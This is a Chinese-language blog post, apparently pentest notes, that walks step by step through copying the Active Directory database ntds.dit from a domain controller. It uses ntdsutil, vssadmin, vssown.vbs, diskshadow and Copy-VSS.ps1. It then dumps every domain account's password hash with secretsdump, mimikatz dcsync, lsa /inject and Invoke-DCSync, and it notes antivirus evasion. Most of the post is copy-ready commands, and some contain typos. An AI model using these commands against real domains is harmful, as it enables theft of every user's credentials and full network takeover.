0%

ntds.dit导出及解析

提取ntds.dit

使用ntdsutil 工具提取

ntdsutil.exe是一个为活动目录提供管理机制的命令行工具。使用ntdsutil.exe可以维护和管理互动目录数据库、控制单个主机操作、创建应用程序目录分区、删除由未使用活动目录安装向导(DCPRome.exe)成功降级的域控制器留下的元数据等。该工具默认安装在域控制器上,可以在域控制器上直接操作,可以通过域内机器在域控制器上远程操作。

ntdsutil.exe 支持的操作系统包括 Windows server 2003 ,Windows server 2008,Windows server 2012

使用方法如下

创建快照

该快照包含windows中的所有文件,且在复制文件时不会受到windows锁定机制的限制

ntdsutil snapshot "activate instance ntds" create quit quit

{}内为快照的GUID

挂载快照

ntdsutil snapshot "mount {GUID}" quit quit

拷贝快照

使用windows自带的copy命令将快照中的文件复制出来,将快照中的C:\$SNAP_202107122344_VOLUMEC$\windows\ntds\ntds.dit复制到本地计算机的 C:\Users\Administrator\Desktop\ 桌面上

copy C:\$SNAP_202107122344_VOLUMEC$\windows\ntds\ntds.dit C:\Users\Administrator\Desktop\ntds.dit

卸载并删除快照

ntdsutil snapshot "unmout {GUID}" "delete {GUID}" quit quit

检查快照是否删除

ntdsutil snapshot "List All" quit quit


利用vssadmin提取ntds.dit

vssadmin是Windows上的一个卷影拷贝服务的命令行管理工具,可用于创建和删除卷影拷贝、列出卷影拷贝的信息,显示已安装的所有卷影拷贝写入程序和提供程序,以及改变卷影拷贝的存储空间的大小等。

适用于 Windows 10,Windows 8.1,Windows Server 2016,Windows Server 2012 R2,Windows Server 2012,Windows Server 2008 R2,Windows Server 2008

创建一个C盘的卷影拷贝

vssadmin create shadow /for=c:

将创建的卷影拷贝中的ntds.dit copy到桌面

copy \\?\CLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\NTDS\ntds.dit c:\User\Administrator\Desktop ntds.dit

删除创建的卷影拷贝

vssadmin delete shadows /for=c: /quiet


利用vssown.vbs 脚本提取nods.dit

下载地址:https://raw.githubusercontent.com/borigue/ptscripts/master/windows/vssown.vbs

vssown.vbs功能与vssadmin类似,本质是通过wmi对shadowCopt进行操作,可用于创建和删除卷影拷贝,以及启动和停止卷影拷贝服务

1
2
3
4
5
6
7
8
9
10
//启动卷影拷贝服务
cscript vssown.vbs /start
//创建一个C盘的卷影拷贝
cscript vssown.vbs /create c
//列出当前卷影拷贝
cscript vssown.vbs /list
//复制ntds.dit到桌面
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\windows\NTDS\ntds.dit C:\Users\Administrator\Desktop\ntds.dit
//删除卷影拷贝
cscript vssown.vbs /delete {GUID}

使用ntdsutil中的IFM获取ntds.dit

将ntds.dit复制到C:\test\Active Directory\文件夹中

使用管理员模式打开cmd输入如下

ntdsutil "ac i ntds" "ifm" "create full C:/test" q q

然后访问c盘 可以看到创建了一个test目录

test目录下有俩个文件 分别为 Active Directoryregistry

registry下包含 SYSTEMSECURITY

Active Directory下包含 ntds.dit

然后将以上内容复制到桌面

这里选择使用Copy-VSS.ps1

下载地址:https://github.com/samratashok/nishang/blob/master/Gather/Copy-VSS.ps1

进入powershell

1
2
3
4
Set-Executionpolicy bypass
Import-Module .\Copy-VSS.ps1 //导入脚本
copy-vss //执行脚本


使用diskshadow导出ntds.dit

Diskshadow.exe使用卷影拷贝服务(VSS)所提供的多个功能。默认配置下,Diskshadow.exe使用了一种交互式的命令解释器,这里跟DiskRaid或者DiskPart比较类似。因为diskshadow的代码是由微软签名的,而且Windows Server2008、Windows Server2012、Windows Server2016都默认包含diskshadow。所以,diskshadow也可以用来操作卷影拷贝服务并导出ntds.dit。diskshadow的功能与vshadow类似,且同样位于C:\windows\system32\目录下.

由于是微软官方的工具,所以不会被杀

查看diskshadow.exe 的帮助信息

diskshdow /?

一般先在C盘写入需要执行的命令 存储为command.txt

echo "exec c:\windows\system32\calc.exe" >command.txt

但是这样生成的commod.txt会存在双引号 这样执行diskshadow命令的话 会无法正常执行,所以最好在执行diskshadow命令前先看下command.txt 是否正确

type c:\command.txt

diskshadow /s c:\command

然后会弹出之前写的calc

使用diskshadow.exe导出ntds.dit 将命令写入文本文件中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//设置卷影拷贝
set context persistent nowriters
//添加卷
add volume c: alias someAlias
//创建快照
create
//分配虚拟磁盘盘符
expose %someAlias% k:
//将ntds.dit复制到C盘中
exec "cmd.exe" /c copy k:\Windows\NTDS\ntds.dit C:\Users\Administrator\Desktop\
//删除所有快照
delete shadows all
//列出系统中的卷影拷贝
list shadows all
//重置
reset
//退出
exit

然后使用diskshadow.exe加载这个文本文件

diskshadow /s c:\2.txt

在执行这条命令时 要在system32下执行,否则可能会报错

导出ntds.dit后,可以将system.hive转储。因为system.hive中存放着ntds.dit的密钥,如果没有该密钥,将无法查看ntds.dit中的信息

可以使用Copy-VSS.ps1等方法导出SYSTEM文件,也可以执行如下命令,将导出system

reg save hklm\system C:\Users\Administrator\Desktop\system.hive


解析ntds.dit

使用impacket secretsdump解析ntds.dit

secretsdump.exe -system SYSTEM.hive -ntds ntds.dit LOCAL

然后可以看到所有用户的hash值

利用dcsync 获取域散列值

利用mimikatz在线导出hash

可以利用dcsync获取

1
2
privilege::debug
lsadump::dcsync /domain:mamor.com /all /csv

也可以导出指定用户的hash值

lsadump::dcsync /domain:mamor.com /user:Mamor

通过转储lsass.exe 进程对hash值进行dump

lsadump::lsa /inject

这样可以导出所有账户和域散列值

使用powershell Invoke-DCSync.ps1脚本

下载地址:https://gist.github.com/monoxgas/9d238accd969550136db

该脚本可以利用dcsync 直接读取ntds.dit 以获得域账号和域散列值

1
2
3
4
5
Import-Module .\Invoke-DCSync.ps1
Invoke-DCSync -DumpForest | ft -wrap -autosize // 导出域内所有用户的hash

Invoke-DCSync -DumpForest -Users @("administrator") | ft -wrap -autosize // 导出域内administrator账户的hash



Reference

https://pingmaoer.github.io/2020/07/03/%E5%9F%9F%E6%8E%A7%E5%88%B6%E5%99%A8/

https://www.freebuf.com/articles/network/251267.html

https://cloud.tencent.com/developer/article/1731472

欢迎关注我的其它发布渠道

------------- 💖 🌞 本 文 结 束 😚 感 谢 您 的 阅 读 🌞 💖 -------------